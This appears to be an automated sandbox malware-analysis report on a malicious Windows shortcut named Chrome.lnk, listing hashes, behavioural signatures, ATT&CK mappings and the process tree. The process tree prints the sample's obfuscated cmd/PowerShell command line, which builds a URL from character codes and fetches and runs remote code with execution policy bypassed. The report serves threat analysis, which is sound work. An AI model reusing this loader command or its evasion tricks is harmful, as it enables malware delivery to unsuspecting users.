09ac8e9e4d3c76ca5455fef0bae90a944c32efa7ae66b2745ff7198e0d10d7f9

Analysis

max time kernel
298s
max time network
281s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
31/05/2026, 17:11

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General

Target
Chrome.lnk
Size 1KB
Sample260531-vqlcpsds2z
SHA256 09ac8e9e4d3c76ca5455fef0bae90a944c32efa7ae66b2745ff7198e0d10d7f9
MD5 d000263a53396e637e5815360a010eb0
SHA1 22ddd76bad3fe14c284a020b3bd065ecbe753b31
SHA512 eac8d5da786e7e5fe79d60f1bbafa3ea14430bae5f89d24d6a860f620e2a5b81f0a850926ec61f0320350e7e8701ef98941e368dcf1f7ab8db7a1c6f3754ee18
TLSH
T17B31C038DF85433AC2B28579DCAAA713DD22B80DD63DEE5D0086874D1965641D864F2F
MD5 SHA1 SHA512 TLSH

Score

8^/10

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	2408	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
3360	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2408	powershell.exe
2408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2408	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 3360	1596	cmd.exe	84
PID 3360 wrote to memory of 4376	3360	cmd.exe	85
PID 3360 wrote to memory of 3108	3360	cmd.exe	86
PID 3360 wrote to memory of 2408	3360	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Chrome.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c set "z=p'o'w'e'r'shell" && call echo %z% | findstr /V "x" > nul && powershell -NoP -Ex Bypass -W 1 -C "$u=[char[]](104,116,116,112,115,58,47,47,97,109,112,108,105,119,101,98,46,113,117,101,115,116,47,50,48,50,54,47,99,104,63,55,49,50,53,50)-join''; &('xei'[-1..-3]-join'')(i'r'm $u)"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" call echo %z% "
    3⤵
    PID:4376
- - C:\Windows\system32\findstr.exe
    findstr /V "x"
    3⤵
    PID:3108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoP -Ex Bypass -W 1 -C "$u=[char[]](104,116,116,112,115,58,47,47,97,109,112,108,105,119,101,98,46,113,117,101,115,116,47,50,48,50,54,47,99,104,63,55,49,50,53,50)-join''; &('xei'[-1..-3]-join'')(i'r'm $u)"
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_nmc1e5u4.ibk.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nmc1e5u4.ibk.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2408-0-0x00000227217AA000-0x00000227217AB000-memory.dmp

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memory/2408-1-0x000002273BE40000-0x000002273BE62000-memory.dmp

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memory/2408-8-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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memory/2408-9-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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memory/2408-10-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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memory/2408-11-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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memory/2408-13-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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memory/2408-16-0x0000022720FE0000-0x0000022721AA2000-memory.dmp

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